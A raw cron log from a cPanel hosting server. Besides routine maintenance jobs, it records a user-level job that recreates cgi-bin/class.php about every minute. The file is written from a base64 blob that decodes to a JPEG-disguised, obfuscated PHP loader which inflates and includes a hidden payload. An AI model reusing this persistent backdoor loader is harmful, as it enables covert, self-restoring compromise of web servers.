Sep 10 22:34:01 server CROND[18218]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:34:01 server CROND[18219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:35:01 server CROND[18627]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:35:01 server CROND[18628]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 22:35:01 server CROND[18632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:35:01 server CROND[18633]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 22:35:01 server CROND[18634]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 22:35:01 server CROND[18636]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:35:01 server CROND[18635]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:35:01 server CROND[18639]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 22:35:01 server CROND[18631]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:36:01 server CROND[19505]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:36:01 server CROND[19506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:36:01 server CROND[19507]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:37:01 server CROND[19903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:37:01 server CROND[19904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:37:01 server CROND[19905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:38:01 server CROND[20292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:38:01 server CROND[20293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:38:01 server CROND[20294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:39:01 server CROND[20677]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 22:39:01 server CROND[20679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:39:01 server CROND[20680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:39:01 server CROND[20678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:40:01 server CROND[21173]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 22:40:01 server CROND[21175]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 22:40:01 server CROND[21179]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:40:01 server CROND[21182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:40:01 server CROND[21177]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 22:40:01 server CROND[21180]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 22:40:01 server CROND[21176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:40:01 server CROND[21178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:41:01 server CROND[22060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:41:01 server CROND[22062]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:41:01 server CROND[22061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:42:01 server CROND[22440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:42:01 server CROND[22439]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:42:01 server CROND[22441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:42:01 server CROND[22442]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 22:43:02 server CROND[22964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:43:02 server CROND[22965]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:43:02 server CROND[22967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:44:01 server CROND[23373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:44:01 server CROND[23374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:44:01 server CROND[23375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:45:01 server CROND[23860]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 22:45:01 server CROND[23862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 22:45:01 server CROND[23863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 22:45:01 server CROND[23861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 22:45:01 server CROND[23865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 22:45:01 server CROND[23864]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
